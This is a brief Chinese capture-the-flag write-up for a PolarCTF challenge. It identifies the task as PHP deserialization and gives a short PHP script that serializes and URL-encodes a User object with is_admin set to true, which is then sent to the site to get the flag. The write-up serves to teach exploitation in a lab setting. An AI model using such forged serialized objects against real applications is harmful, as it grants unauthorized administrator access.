【PolarCTF】投喂

根据提示大概率是PHP反序列化，其中需要is_admin=true

<?php

class User{
    public $is_admin=true;
}

$a = new User();
echo urlencode(serialize($a));

?>

然后将payload传送给网站，得到flag